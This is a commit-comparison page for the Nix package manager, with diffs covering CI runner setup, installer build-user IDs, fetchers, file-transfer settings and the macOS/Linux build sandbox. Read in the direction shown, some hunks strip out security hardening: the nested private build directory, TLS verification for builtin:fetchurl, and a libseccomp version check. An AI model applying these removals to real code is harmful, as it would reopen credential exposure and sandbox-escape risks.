Compare commits

..
Author SHA1 Message Date
Théophane Hufschmitt 64472c58e2 Dynamically set the runners
Only use the Cirrus runners on NixOS/nix since forks won't have access
to them
2024-04-22 17:24:54 +02:00
Théophane HufschmittandFedor Korotkov 2a633da236 Enable the Cirrus builders for the CI
https://cirruslabs.org/ kindly provided us with four beefy CI runners,
so use them for our CI.

In addition to making the builds way faster, these also allow us to test
on aach64-linux, which is quite welcome.

Co-Authored-By: Fedor Korotkov <fedor.korotkov@gmail.com>
2024-04-22 16:56:49 +02:00
52 changed files with 308 additions and 919 deletions

No files matched your search

+38 -32
View File
@@ -8,12 +8,36 @@ permissions: read-all
jobs:
setup_github_env:
permissions:
contents: none
name: Check Cachix and Docker secrets present for installer tests
runs-on: ubuntu-latest
outputs:
cachix: ${{ steps.secret.outputs.cachix }}
docker: ${{ steps.secret.outputs.docker }}
runners: ${{ steps.secret.outputs.runners }}
steps:
- name: Check for secrets
id: secret
env:
_CACHIX_SECRETS: ${{ secrets.CACHIX_SIGNING_KEY }}${{ secrets.CACHIX_AUTH_TOKEN }}
_DOCKER_SECRETS: ${{ secrets.DOCKERHUB_USERNAME }}${{ secrets.DOCKERHUB_TOKEN }}
run: |
echo "::set-output name=cachix::${{ env._CACHIX_SECRETS != '' }}"
echo "::set-output name=docker::${{ env._DOCKER_SECRETS != '' }}"
if [[ ${{ github.repository }} == "NixOS/nix" ]]; then
echo 'runners=["ghcr.io/cirruslabs/ubuntu-runner-arm64:22.04-md", "ghcr.io/cirruslabs/ubuntu-runner-amd64:22.04-md", "ghcr.io/cirruslabs/macos-runner:sonoma"]' >> "$GITHUB_OUTPUT"
else
echo 'runners=["ubuntu-latest", "macos-latest"]' >> "$GITHUB_OUTPUT"
fi
tests:
needs: [check_secrets]
needs: [setup_github_env]
strategy:
fail-fast: false
matrix:
os: [ubuntu-latest, macos-latest]
os: ${{ fromJSON(needs.setup_github_env.outputs.runners) }}
runs-on: ${{ matrix.os }}
timeout-minutes: 60
steps:
@@ -26,35 +50,17 @@ jobs:
extra_nix_config: "sandbox = true"
- run: echo CACHIX_NAME="$(echo $GITHUB_REPOSITORY-install-tests | tr "[A-Z]/" "[a-z]-")" >> $GITHUB_ENV
- uses: cachix/cachix-action@v14
if: needs.check_secrets.outputs.cachix == 'true'
if: needs.setup_github_env.outputs.cachix == 'true'
with:
name: '${{ env.CACHIX_NAME }}'
signingKey: '${{ secrets.CACHIX_SIGNING_KEY }}'
authToken: '${{ secrets.CACHIX_AUTH_TOKEN }}'
- run: nix --experimental-features 'nix-command flakes' flake check -L
check_secrets:
permissions:
contents: none
name: Check Cachix and Docker secrets present for installer tests
runs-on: ubuntu-latest
outputs:
cachix: ${{ steps.secret.outputs.cachix }}
docker: ${{ steps.secret.outputs.docker }}
steps:
- name: Check for secrets
id: secret
env:
_CACHIX_SECRETS: ${{ secrets.CACHIX_SIGNING_KEY }}${{ secrets.CACHIX_AUTH_TOKEN }}
_DOCKER_SECRETS: ${{ secrets.DOCKERHUB_USERNAME }}${{ secrets.DOCKERHUB_TOKEN }}
run: |
echo "::set-output name=cachix::${{ env._CACHIX_SECRETS != '' }}"
echo "::set-output name=docker::${{ env._DOCKER_SECRETS != '' }}"
installer:
needs: [tests, check_secrets]
if: github.event_name == 'push' && needs.check_secrets.outputs.cachix == 'true'
runs-on: ubuntu-latest
needs: [tests, setup_github_env]
if: github.event_name == 'push' && needs.setup_github_env.outputs.cachix == 'true'
runs-on: ghcr.io/cirruslabs/ubuntu-runner-amd64:22.04-md
outputs:
installerURL: ${{ steps.prepare-installer.outputs.installerURL }}
steps:
@@ -74,12 +80,12 @@ jobs:
run: scripts/prepare-installer-for-github-actions
installer_test:
needs: [installer, check_secrets]
if: github.event_name == 'push' && needs.check_secrets.outputs.cachix == 'true'
needs: [installer, setup_github_env]
if: github.event_name == 'push' && needs.setup_github_env.outputs.cachix == 'true'
strategy:
fail-fast: false
matrix:
os: [ubuntu-latest, macos-latest]
os: ["ghcr.io/cirruslabs/ubuntu-runner-arm64:22.04-md", "ghcr.io/cirruslabs/ubuntu-runner-amd64:22.04-md", "ghcr.io/cirruslabs/macos-runner:sonoma"]
runs-on: ${{ matrix.os }}
steps:
- uses: actions/checkout@v4
@@ -100,15 +106,15 @@ jobs:
- run: exec bash -c "nix-channel --update && nix-env -iA nixpkgs.hello && hello"
docker_push_image:
needs: [check_secrets, tests]
needs: [setup_github_env, tests]
permissions:
contents: read
packages: write
if: >-
github.event_name == 'push' &&
github.ref_name == 'master' &&
needs.check_secrets.outputs.cachix == 'true' &&
needs.check_secrets.outputs.docker == 'true'
needs.setup_github_env.outputs.cachix == 'true' &&
needs.setup_github_env.outputs.docker == 'true'
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
@@ -120,7 +126,7 @@ jobs:
- run: echo CACHIX_NAME="$(echo $GITHUB_REPOSITORY-install-tests | tr "[A-Z]/" "[a-z]-")" >> $GITHUB_ENV
- run: echo NIX_VERSION="$(nix --experimental-features 'nix-command flakes' eval .\#default.version | tr -d \")" >> $GITHUB_ENV
- uses: cachix/cachix-action@v14
if: needs.check_secrets.outputs.cachix == 'true'
if: needs.setup_github_env.outputs.cachix == 'true'
with:
name: '${{ env.CACHIX_NAME }}'
signingKey: '${{ secrets.CACHIX_SIGNING_KEY }}'
@@ -161,7 +167,7 @@ jobs:
docker push $IMAGE_ID:master
vm_tests:
runs-on: ubuntu-22.04
runs-on: ghcr.io/cirruslabs/ubuntu-runner-amd64:22.04
steps:
- uses: actions/checkout@v4
- uses: DeterminateSystems/nix-installer-action@main
+1 -1
View File
@@ -1 +1 @@
2.22.4
2.22.0
+1 -16
View File
@@ -62,17 +62,13 @@ AC_CHECK_TOOL([AR], [ar])
AC_SYS_LARGEFILE
# OS-specific stuff.
# Solaris-specific stuff.
AC_STRUCT_DIRENT_D_TYPE
case "$host_os" in
solaris*)
# Solaris requires -lsocket -lnsl for network functions
LDFLAGS="-lsocket -lnsl $LDFLAGS"
;;
darwin*)
# Need to link to libsandbox.
LDFLAGS="-lsandbox $LDFLAGS"
;;
esac
@@ -321,17 +317,6 @@ case "$host_os" in
[CXXFLAGS="$LIBSECCOMP_CFLAGS $CXXFLAGS"])
have_seccomp=1
AC_DEFINE([HAVE_SECCOMP], [1], [Whether seccomp is available and should be used for sandboxing.])
AC_COMPILE_IFELSE([
AC_LANG_SOURCE([[
#include <seccomp.h>
#ifndef __SNR_fchmodat2
# error "Missing support for fchmodat2"
#endif
]])
], [], [
echo "libseccomp is missing __SNR_fchmodat2. Please provide libseccomp 2.5.5 or later"
exit 1
])
else
have_seccomp=
fi
+2
View File
@@ -6,6 +6,8 @@ additional-css = ["custom.css"]
additional-js = ["redirects.js"]
edit-url-template = "https://github.com/NixOS/nix/tree/master/doc/manual/{path}"
git-repository-url = "https://github.com/NixOS/nix"
fold.enable = true
fold.level = 1
[preprocessor.anchors]
renderers = ["html"]
+4 -4
View File
@@ -290,10 +290,10 @@ const redirects = {
"ssec-gc-roots": "package-management/garbage-collector-roots.html",
"chap-package-management": "package-management/index.html",
"sec-profiles": "package-management/profiles.html",
"ssec-s3-substituter": "store/types/s3-substituter.html",
"ssec-s3-substituter-anonymous-reads": "store/types/s3-substituter.html#anonymous-reads-to-your-s3-compatible-binary-cache",
"ssec-s3-substituter-authenticated-reads": "store/types/s3-substituter.html#authenticated-reads-to-your-s3-binary-cache",
"ssec-s3-substituter-authenticated-writes": "store/types/s3-substituter.html#authenticated-writes-to-your-s3-compatible-binary-cache",
"ssec-s3-substituter": "package-management/s3-substituter.html",
"ssec-s3-substituter-anonymous-reads": "package-management/s3-substituter.html#anonymous-reads-to-your-s3-compatible-binary-cache",
"ssec-s3-substituter-authenticated-reads": "package-management/s3-substituter.html#authenticated-reads-to-your-s3-binary-cache",
"ssec-s3-substituter-authenticated-writes": "package-management/s3-substituter.html#authenticated-writes-to-your-s3-compatible-binary-cache",
"sec-sharing-packages": "package-management/sharing-packages.html",
"ssec-ssh-substituter": "package-management/ssh-substituter.html",
"chap-quick-start": "quick-start.html",
@@ -1,7 +0,0 @@
---
synopsis: Harden the user sandboxing
significance: significant
issues:
---
The build directory has been hardened against interference with the outside world by nesting it inside another directory owned by (and only readable by) the daemon user.
@@ -0,0 +1,13 @@
---
synopsis: "`nix eval` prints derivations as `.drv` paths"
prs: 10200
---
`nix eval` will now print derivations as their `.drv` paths, rather than as
attribute sets. This makes commands like `nix eval nixpkgs#bash` terminate
instead of infinitely looping into recursive self-referential attributes:
```ShellSession
$ nix eval nixpkgs#bash
«derivation /nix/store/m32cbgbd598f4w299g0hwyv7gbw6rqcg-bash-5.2p26.drv»
```
+8
View File
@@ -0,0 +1,8 @@
---
synopsis: Remove experimental repl-flake
significance: significant
issues: 10103
prs: 10299
---
The `repl-flake` experimental feature has been removed. The `nix repl` command now works like the rest of the new CLI in that `nix repl {path}` now tries to load a flake at `{path}` (or fails if the `flakes` experimental feature isn't enabled).*
-8
View File
@@ -1,8 +0,0 @@
---
synopsis: "`<nix/fetchurl.nix>` uses TLS verification"
prs: [11585]
---
Previously `<nix/fetchurl.nix>` did not do TLS verification. This was because the Nix sandbox in the past did not have access to TLS certificates, and Nix checks the hash of the fetched file anyway. However, this can expose authentication data from `netrc` and URLs to man-in-the-middle attackers. In addition, Nix now in some cases (such as when using impure derivations) does *not* check the hash. Therefore we have now enabled TLS verification. This means that downloads by `<nix/fetchurl.nix>` will now fail if you're fetching from a HTTPS server that does not have a valid certificate.
`<nix/fetchurl.nix>` is also known as the builtin derivation builder `builtin:fetchurl`. It's not to be confused with the evaluation-time function `builtins.fetchurl`, which was not affected by this issue.
+1 -1
View File
@@ -42,6 +42,7 @@
- [Serving a Nix store via HTTP](package-management/binary-cache-substituter.md)
- [Copying Closures via SSH](package-management/copy-closure.md)
- [Serving a Nix store via SSH](package-management/ssh-substituter.md)
- [Serving a Nix store via S3](package-management/s3-substituter.md)
- [Remote Builds](advanced-topics/distributed-builds.md)
- [Tuning Cores and Jobs](advanced-topics/cores-vs-jobs.md)
- [Verifying Build Reproducibility](advanced-topics/diff-hook.md)
@@ -121,7 +122,6 @@
- [C++ style guide](contributing/cxx.md)
- [Releases](release-notes/index.md)
{{#include ./SUMMARY-rl-next.md}}
- [Release 2.22 (2024-04-23)](release-notes/rl-2.22.md)
- [Release 2.21 (2024-03-11)](release-notes/rl-2.21.md)
- [Release 2.20 (2024-01-29)](release-notes/rl-2.20.md)
- [Release 2.19 (2023-11-17)](release-notes/rl-2.19.md)
-21
View File
@@ -1,21 +0,0 @@
# Release 2.22.0 (2024-04-23)
### Significant changes
- Remove experimental repl-flake [#10103](https://github.com/NixOS/nix/issues/10103) [#10299](https://github.com/NixOS/nix/pull/10299)
The `repl-flake` experimental feature has been removed. The `nix repl` command now works like the rest of the new CLI in that `nix repl {path}` now tries to load a flake at `{path}` (or fails if the `flakes` experimental feature isn't enabled).
### Other changes
- `nix eval` prints derivations as `.drv` paths [#10200](https://github.com/NixOS/nix/pull/10200)
`nix eval` will now print derivations as their `.drv` paths, rather than as
attribute sets. This makes commands like `nix eval nixpkgs#bash` terminate
instead of infinitely looping into recursive self-referential attributes:
```ShellSession
$ nix eval nixpkgs#bash
«derivation /nix/store/m32cbgbd598f4w299g0hwyv7gbw6rqcg-bash-5.2p26.drv»
```
+4 -4
View File
@@ -26,7 +26,7 @@
inherit (nixpkgs) lib;
inherit (lib) fileset;
officialRelease = true;
officialRelease = false;
version = lib.fileContents ./.version + versionSuffix;
versionSuffix =
@@ -183,7 +183,7 @@
nix =
let
officialRelease = true;
officialRelease = false;
versionSuffix =
if officialRelease
then ""
@@ -195,7 +195,7 @@
stdenv
versionSuffix
;
officialRelease = true;
officialRelease = false;
boehmgc = final.boehmgc-nix;
libgit2 = final.libgit2-nix;
busybox-sandbox-shell = final.busybox-sandbox-shell or final.default-busybox-sandbox-shell;
@@ -289,7 +289,7 @@
installerScriptForGHA = installScriptFor [
# Native
self.hydraJobs.binaryTarball."x86_64-linux"
self.hydraJobs.binaryTarball."aarch64-darwin"
self.hydraJobs.binaryTarball."x86_64-darwin"
# Cross
self.hydraJobs.binaryTarballCross."x86_64-linux"."armv6l-unknown-linux-gnueabihf"
self.hydraJobs.binaryTarballCross."x86_64-linux"."armv7l-unknown-linux-gnueabihf"
+1 -11
View File
@@ -1,5 +1,4 @@
{ lib
, fetchurl
, stdenv
, releaseTools
, autoconf-archive
@@ -27,7 +26,6 @@
, libseccomp
, libsodium
, man
, darwin
, lowdown
, mdbook
, mdbook-linkcheck
@@ -250,15 +248,7 @@ in {
] ++ lib.optionals buildUnitTests [
gtest
rapidcheck
]
++ lib.optional stdenv.hostPlatform.isDarwin darwin.apple_sdk.libs.sandbox
++ lib.optional stdenv.isLinux (libseccomp.overrideAttrs (_: rec {
version = "2.5.5";
src = fetchurl {
url = "https://github.com/seccomp/libseccomp/releases/download/v${version}/libseccomp-${version}.tar.gz";
hash = "sha256-JIosik2bmFiqa69ScSw0r+/PnJ6Ut23OAsHJqiX7M3U=";
};
}))
] ++ lib.optional stdenv.isLinux libseccomp
++ lib.optional stdenv.hostPlatform.isx86_64 libcpuid
# There have been issues building these dependencies
++ lib.optional (stdenv.hostPlatform == stdenv.buildPlatform && (stdenv.isLinux || stdenv.isDarwin))
+1 -2
View File
@@ -41,8 +41,7 @@ perl.pkgs.toPerlModule (stdenv.mkDerivation (finalAttrs: {
boost
]
++ lib.optional (stdenv.isLinux || stdenv.isDarwin) libsodium
++ lib.optional stdenv.isDarwin darwin.apple_sdk.frameworks.Security
++ lib.optional stdenv.hostPlatform.isDarwin darwin.apple_sdk.libs.sandbox;
++ lib.optional stdenv.isDarwin darwin.apple_sdk.frameworks.Security;
# `perlPackages.Test2Harness` is marked broken for Darwin
doCheck = !stdenv.isDarwin;
+1 -1
View File
@@ -1,6 +1,6 @@
#!/usr/bin/env bash
((NEW_NIX_FIRST_BUILD_UID=351))
((NEW_NIX_FIRST_BUILD_UID=301))
id_available(){
dscl . list /Users UniqueID | grep -E '\b'$1'\b' >/dev/null
+1 -11
View File
@@ -4,17 +4,7 @@ set -eu
set -o pipefail
# System specific settings
# Notes:
# - up to macOS Big Sur we used the same GID/UIDs as Linux (30000:30001-32)
# - we changed UID to 301 because Big Sur updates failed into recovery mode
# we're targeting the 200-400 UID range for role users mentioned in the
# usage note for sysadminctl
# - we changed UID to 351 because Sequoia now uses UIDs 300-304 for its own
# daemon users
# - we changed GID to 350 alongside above just because it hides the nixbld
# group from the Users & Groups settings panel :)
export NIX_FIRST_BUILD_UID="${NIX_FIRST_BUILD_UID:-351}"
export NIX_BUILD_GROUP_ID="${NIX_BUILD_GROUP_ID:-350}"
export NIX_FIRST_BUILD_UID="${NIX_FIRST_BUILD_UID:-301}"
export NIX_BUILD_USER_NAME_TEMPLATE="_nixbld%d"
readonly NIX_DAEMON_DEST=/Library/LaunchDaemons/org.nixos.nix-daemon.plist
+4 -2
View File
@@ -23,10 +23,10 @@ readonly RED='\033[31m'
# installer allows overriding build user count to speed up installation
# as creating each user takes non-trivial amount of time on macos
readonly NIX_USER_COUNT=${NIX_USER_COUNT:-32}
readonly NIX_BUILD_GROUP_ID="${NIX_BUILD_GROUP_ID:-30000}"
readonly NIX_BUILD_GROUP_NAME="nixbld"
# each system specific installer must set these:
# NIX_FIRST_BUILD_UID
# NIX_BUILD_GROUP_ID
# NIX_BUILD_USER_NAME_TEMPLATE
# Please don't change this. We don't support it, because the
# default shell profile that comes with Nix doesn't support it.
@@ -530,7 +530,9 @@ It seems the build group $NIX_BUILD_GROUP_NAME already exists, but
with the UID $primary_group_id. This script can't really handle
that right now, so I'm going to give up.
You can export NIX_BUILD_GROUP_ID=$primary_group_id and re-run.
You can fix this by editing this script and changing the
NIX_BUILD_GROUP_ID variable near the top to from $NIX_BUILD_GROUP_ID
to $primary_group_id and re-run.
EOF
else
row " Exists" "Yes"
-1
View File
@@ -5,7 +5,6 @@ set -o pipefail
# System specific settings
export NIX_FIRST_BUILD_UID="${NIX_FIRST_BUILD_UID:-30001}"
export NIX_BUILD_GROUP_ID="${NIX_BUILD_GROUP_ID:-30000}"
export NIX_BUILD_USER_NAME_TEMPLATE="nixbld%d"
readonly SERVICE_SRC=/lib/systemd/system/nix-daemon.service
+1
View File
@@ -22,6 +22,7 @@
#include "experimental-features.hh"
using namespace nix;
using namespace nix::unix;
using std::cin;
static void handleAlarm(int sig) {
+2 -3
View File
@@ -137,13 +137,12 @@ void runNix(Path program, const Strings & args,
{
auto subprocessEnv = getEnv();
subprocessEnv["NIX_CONFIG"] = globalConfig.toKeyValue();
//isInteractive avoid grabling interactive commands
runProgram2(RunOptions {
.program = settings.nixBinDir+ "/" + program,
.args = args,
.environment = subprocessEnv,
.input = input,
.isInteractive = true,
});
return;
@@ -509,7 +508,7 @@ ProcessLineResult NixRepl::processLine(std::string line)
// runProgram redirects stdout to a StringSink,
// using runProgram2 to allow editors to display their UI
runProgram2(RunOptions { .program = editor, .lookupPath = true, .args = args , .isInteractive = true });
runProgram2(RunOptions { .program = editor, .lookupPath = true, .args = args });
// Reload right after exiting the editor
state->resetFileCache();
-5
View File
@@ -248,15 +248,10 @@ struct GitArchiveInputScheme : InputScheme
getFileTransfer()->download(std::move(req), sink);
});
auto act = std::make_unique<Activity>(*logger, lvlInfo, actUnknown,
fmt("unpacking '%s' into the Git cache", input.to_string()));
TarArchive archive { *source };
auto parseSink = getTarballCache()->getFileSystemObjectSink();
auto lastModified = unpackTarfileToSink(archive, *parseSink);
act.reset();
TarballInfo tarballInfo {
.treeHash = parseSink->sync(),
.lastModified = lastModified
+1 -24
View File
@@ -155,35 +155,12 @@ DownloadTarballResult downloadTarball(
// TODO: fall back to cached value if download fails.
auto act = std::make_unique<Activity>(*logger, lvlInfo, actUnknown,
fmt("unpacking '%s' into the Git cache", url));
AutoDelete cleanupTemp;
/* Note: if the download is cached, `importTarball()` will receive
no data, which causes it to import an empty tarball. */
auto archive =
hasSuffix(toLower(parseURL(url).path), ".zip")
? ({
/* In streaming mode, libarchive doesn't handle
symlinks in zip files correctly (#10649). So write
the entire file to disk so libarchive can access it
in random-access mode. */
auto [fdTemp, path] = createTempFile("nix-zipfile");
cleanupTemp.reset(path);
debug("downloading '%s' into '%s'...", url, path);
{
FdSink sink(fdTemp.get());
source->drainInto(sink);
}
TarArchive{path};
})
: TarArchive{*source};
TarArchive archive { *source };
auto parseSink = getTarballCache()->getFileSystemObjectSink();
auto lastModified = unpackTarfileToSink(archive, *parseSink);
act.reset();
auto res(_res->lock());
Attrs infoAttrs;
+1 -7
View File
@@ -343,8 +343,7 @@ struct GitInputScheme : InputScheme
logger->pause();
Finally restoreLogger([]() { logger->resume(); });
runProgram("git", true,
{ "-C", repoInfo.url, "--git-dir", repoInfo.gitDir, "commit", std::string(path.rel()), "-F", "-" },
*commitMsg);
{ "-C", repoInfo.url, "--git-dir", repoInfo.gitDir, "commit", std::string(path.rel()), "-m", *commitMsg });
}
}
}
@@ -643,8 +642,6 @@ struct GitInputScheme : InputScheme
attrs.insert_or_assign("ref", submodule.branch);
attrs.insert_or_assign("rev", submoduleRev.gitRev());
attrs.insert_or_assign("exportIgnore", Explicit<bool>{ exportIgnore });
attrs.insert_or_assign("submodules", Explicit<bool>{ true });
attrs.insert_or_assign("allRefs", Explicit<bool>{ true });
auto submoduleInput = fetchers::Input::fromAttrs(std::move(attrs));
auto [submoduleAccessor, submoduleInput2] =
submoduleInput.getAccessor(store);
@@ -699,9 +696,6 @@ struct GitInputScheme : InputScheme
attrs.insert_or_assign("type", "git");
attrs.insert_or_assign("url", submodulePath.abs());
attrs.insert_or_assign("exportIgnore", Explicit<bool>{ exportIgnore });
attrs.insert_or_assign("submodules", Explicit<bool>{ true });
// TODO: fall back to getAccessorFromCommit-like fetch when submodules aren't checked out
// attrs.insert_or_assign("allRefs", Explicit<bool>{ true });
auto submoduleInput = fetchers::Input::fromAttrs(std::move(attrs));
auto [submoduleAccessor, submoduleInput2] =
+1 -2
View File
@@ -9,8 +9,7 @@ namespace nix {
void builtinFetchurl(
const BasicDerivation & drv,
const std::map<std::string, Path> & outputs,
const std::string & netrcData,
const std::string & caFileData);
const std::string & netrcData);
void builtinUnpackChannel(
const BasicDerivation & drv,
+3 -12
View File
@@ -70,10 +70,7 @@ struct curlFileTransfer : public FileTransfer
curl_off_t writtenToSink = 0;
std::chrono::steady_clock::time_point startTime = std::chrono::steady_clock::now();
inline static const std::set<long> successfulStatuses {200, 201, 204, 206, 304, 0 /* other protocol */};
/* Get the HTTP status code, or 0 for other protocols. */
long getHTTPStatus()
{
@@ -375,14 +372,10 @@ struct curlFileTransfer : public FileTransfer
void finish(CURLcode code)
{
auto finishTime = std::chrono::steady_clock::now();
auto httpStatus = getHTTPStatus();
debug("finished %s of '%s'; curl status = %d, HTTP status = %d, body = %d bytes, duration = %.2f s",
request.verb(), request.uri, code, httpStatus, result.bodySize,
std::chrono::duration_cast<std::chrono::milliseconds>(finishTime - startTime).count() / 1000.0f
);
debug("finished %s of '%s'; curl status = %d, HTTP status = %d, body = %d bytes",
request.verb(), request.uri, code, httpStatus, result.bodySize);
appendCurrentUrl();
@@ -852,10 +845,8 @@ void FileTransfer::download(
buffer). We don't wait forever to prevent stalling the
download thread. (Hopefully sleeping will throttle the
sender.) */
if (state->data.size() > fileTransferSettings.downloadBufferSize) {
if (state->data.size() > 1024 * 1024) {
debug("download buffer is full; going to sleep");
static bool haveWarned = false;
warnOnce(haveWarned, "download buffer is full; consider increasing the 'download-buffer-size' setting");
state.wait_for(state->request, std::chrono::seconds(10));
}
-6
View File
@@ -45,12 +45,6 @@ struct FileTransferSettings : Config
Setting<unsigned int> tries{this, 5, "download-attempts",
"How often Nix will attempt to download a file before giving up."};
Setting<size_t> downloadBufferSize{this, 64 * 1024 * 1024, "download-buffer-size",
R"(
The size of Nix's internal download buffer during `curl` transfers. If data is
not processed quickly enough to exceed the size of this buffer, downloads may stall.
)"};
};
extern FileTransferSettings fileTransferSettings;
+3 -31
View File
@@ -5,26 +5,10 @@
namespace nix {
/**
* Open (possibly create) a lock file and return the file descriptor.
* -1 is returned if create is false and the lock could not be opened
* because it doesn't exist. Any other error throws an exception.
*/
AutoCloseFD openLockFile(const Path & path, bool create);
/**
* Delete an open lock file.
*/
void deleteLockFile(const Path & path, Descriptor desc);
enum LockType { ltRead, ltWrite, ltNone };
bool lockFile(Descriptor desc, LockType lockType, bool wait);
class PathLocks
{
private:
typedef std::pair<Descriptor, Path> FDPair;
typedef std::pair<int, Path> FDPair;
std::list<FDPair> fds;
bool deletePaths;
@@ -40,18 +24,6 @@ public:
void setDeletion(bool deletePaths);
};
struct FdLock
{
Descriptor desc;
bool acquired = false;
FdLock(Descriptor desc, LockType lockType, bool wait, std::string_view waitMsg);
~FdLock()
{
if (acquired)
lockFile(desc, ltNone, false);
}
};
}
#include "pathlocks-impl.hh"
+137 -154
View File
@@ -58,10 +58,6 @@
#if __APPLE__
#include <spawn.h>
#include <sys/sysctl.h>
#include <sandbox.h>
/* This definition is undocumented but depended upon by all major browsers. */
extern "C" int sandbox_init_with_parameters(const char *profile, uint64_t flags, const char *const parameters[], char **errorbuf);
#endif
#include <pwd.h>
@@ -505,24 +501,8 @@ void LocalDerivationGoal::startBuilder()
/* Create a temporary directory where the build will take
place. */
topTmpDir = createTempDir(settings.buildDir.get().value_or(""), "nix-build-" + std::string(drvPath.name()), false, false, 0700);
#if __APPLE__
if (false) {
#else
if (useChroot) {
#endif
/* If sandboxing is enabled, put the actual TMPDIR underneath
an inaccessible root-owned directory, to prevent outside
access.
tmpDir = createTempDir(settings.buildDir.get().value_or(""), "nix-build-" + std::string(drvPath.name()), false, false, 0700);
On macOS, we don't use an actual chroot, so this isn't
possible. Any mitigation along these lines would have to be
done directly in the sandbox profile. */
tmpDir = topTmpDir + "/build";
createDir(tmpDir, 0700);
} else {
tmpDir = topTmpDir;
}
chownToBuilder(tmpDir);
for (auto & [outputName, status] : initialOutputs) {
@@ -690,19 +670,15 @@ void LocalDerivationGoal::startBuilder()
environment using bind-mounts. We put it in the Nix store
so that the build outputs can be moved efficiently from the
chroot to their final location. */
chrootParentDir = worker.store.Store::toRealPath(drvPath) + ".chroot";
deletePath(chrootParentDir);
chrootRootDir = worker.store.Store::toRealPath(drvPath) + ".chroot";
deletePath(chrootRootDir);
/* Clean up the chroot directory automatically. */
autoDelChroot = std::make_shared<AutoDelete>(chrootParentDir);
autoDelChroot = std::make_shared<AutoDelete>(chrootRootDir);
printMsg(lvlChatty, "setting up chroot environment in '%1%'", chrootParentDir);
if (mkdir(chrootParentDir.c_str(), 0700) == -1)
throw SysError("cannot create '%s'", chrootRootDir);
chrootRootDir = chrootParentDir + "/root";
printMsg(lvlChatty, "setting up chroot environment in '%1%'", chrootRootDir);
// FIXME: make this 0700
if (mkdir(chrootRootDir.c_str(), buildUser && buildUser->getUIDCount() != 1 ? 0755 : 0750) == -1)
throw SysError("cannot create '%1%'", chrootRootDir);
@@ -1744,20 +1720,13 @@ void LocalDerivationGoal::runChild()
bool setUser = true;
/* Make the contents of netrc and the CA certificate bundle
available to builtin:fetchurl (which may run under a
different uid and/or in a sandbox). */
/* Make the contents of netrc available to builtin:fetchurl
(which may run under a different uid and/or in a sandbox). */
std::string netrcData;
std::string caFileData;
if (drv->isBuiltin() && drv->builder == "builtin:fetchurl") {
try {
netrcData = readFile(settings.netrcFile);
} catch (SystemError &) { }
try {
caFileData = readFile(settings.caFile);
} catch (SystemError &) { }
}
try {
if (drv->isBuiltin() && drv->builder == "builtin:fetchurl")
netrcData = readFile(settings.netrcFile);
} catch (SystemError &) { }
#if __linux__
if (useChroot) {
@@ -2032,130 +2001,154 @@ void LocalDerivationGoal::runChild()
throw SysError("setuid failed");
}
/* Fill in the arguments. */
Strings args;
std::string builder = "invalid";
if (drv->isBuiltin()) {
;
}
#if __APPLE__
/* This has to appear before import statements. */
std::string sandboxProfile = "(version 1)\n";
else {
/* This has to appear before import statements. */
std::string sandboxProfile = "(version 1)\n";
if (useChroot) {
if (useChroot) {
/* Lots and lots and lots of file functions freak out if they can't stat their full ancestry */
PathSet ancestry;
/* Lots and lots and lots of file functions freak out if they can't stat their full ancestry */
PathSet ancestry;
/* We build the ancestry before adding all inputPaths to the store because we know they'll
all have the same parents (the store), and there might be lots of inputs. This isn't
particularly efficient... I doubt it'll be a bottleneck in practice */
for (auto & i : pathsInChroot) {
Path cur = i.first;
while (cur.compare("/") != 0) {
cur = dirOf(cur);
ancestry.insert(cur);
/* We build the ancestry before adding all inputPaths to the store because we know they'll
all have the same parents (the store), and there might be lots of inputs. This isn't
particularly efficient... I doubt it'll be a bottleneck in practice */
for (auto & i : pathsInChroot) {
Path cur = i.first;
while (cur.compare("/") != 0) {
cur = dirOf(cur);
ancestry.insert(cur);
}
}
}
/* And we want the store in there regardless of how empty pathsInChroot. We include the innermost
path component this time, since it's typically /nix/store and we care about that. */
Path cur = worker.store.storeDir;
while (cur.compare("/") != 0) {
ancestry.insert(cur);
cur = dirOf(cur);
}
/* And we want the store in there regardless of how empty pathsInChroot. We include the innermost
path component this time, since it's typically /nix/store and we care about that. */
Path cur = worker.store.storeDir;
while (cur.compare("/") != 0) {
ancestry.insert(cur);
cur = dirOf(cur);
}
/* Add all our input paths to the chroot */
for (auto & i : inputPaths) {
auto p = worker.store.printStorePath(i);
pathsInChroot[p] = p;
}
/* Add all our input paths to the chroot */
for (auto & i : inputPaths) {
auto p = worker.store.printStorePath(i);
pathsInChroot[p] = p;
}
/* Violations will go to the syslog if you set this. Unfortunately the destination does not appear to be configurable */
if (settings.darwinLogSandboxViolations) {
sandboxProfile += "(deny default)\n";
} else {
sandboxProfile += "(deny default (with no-log))\n";
}
/* Violations will go to the syslog if you set this. Unfortunately the destination does not appear to be configurable */
if (settings.darwinLogSandboxViolations) {
sandboxProfile += "(deny default)\n";
} else {
sandboxProfile += "(deny default (with no-log))\n";
}
sandboxProfile +=
#include "sandbox-defaults.sb"
;
if (!derivationType->isSandboxed())
sandboxProfile +=
#include "sandbox-network.sb"
#include "sandbox-defaults.sb"
;
/* Add the output paths we'll use at build-time to the chroot */
sandboxProfile += "(allow file-read* file-write* process-exec\n";
for (auto & [_, path] : scratchOutputs)
sandboxProfile += fmt("\t(subpath \"%s\")\n", worker.store.printStorePath(path));
if (!derivationType->isSandboxed())
sandboxProfile +=
#include "sandbox-network.sb"
;
sandboxProfile += ")\n";
/* Add the output paths we'll use at build-time to the chroot */
sandboxProfile += "(allow file-read* file-write* process-exec\n";
for (auto & [_, path] : scratchOutputs)
sandboxProfile += fmt("\t(subpath \"%s\")\n", worker.store.printStorePath(path));
/* Our inputs (transitive dependencies and any impurities computed above)
sandboxProfile += ")\n";
without file-write* allowed, access() incorrectly returns EPERM
*/
sandboxProfile += "(allow file-read* file-write* process-exec\n";
for (auto & i : pathsInChroot) {
if (i.first != i.second.source)
throw Error(
"can't map '%1%' to '%2%': mismatched impure paths not supported on Darwin",
i.first, i.second.source);
/* Our inputs (transitive dependencies and any impurities computed above)
std::string path = i.first;
auto optSt = maybeLstat(path.c_str());
if (!optSt) {
if (i.second.optional)
continue;
throw SysError("getting attributes of required path '%s", path);
without file-write* allowed, access() incorrectly returns EPERM
*/
sandboxProfile += "(allow file-read* file-write* process-exec\n";
for (auto & i : pathsInChroot) {
if (i.first != i.second.source)
throw Error(
"can't map '%1%' to '%2%': mismatched impure paths not supported on Darwin",
i.first, i.second.source);
std::string path = i.first;
auto optSt = maybeLstat(path.c_str());
if (!optSt) {
if (i.second.optional)
continue;
throw SysError("getting attributes of required path '%s", path);
}
if (S_ISDIR(optSt->st_mode))
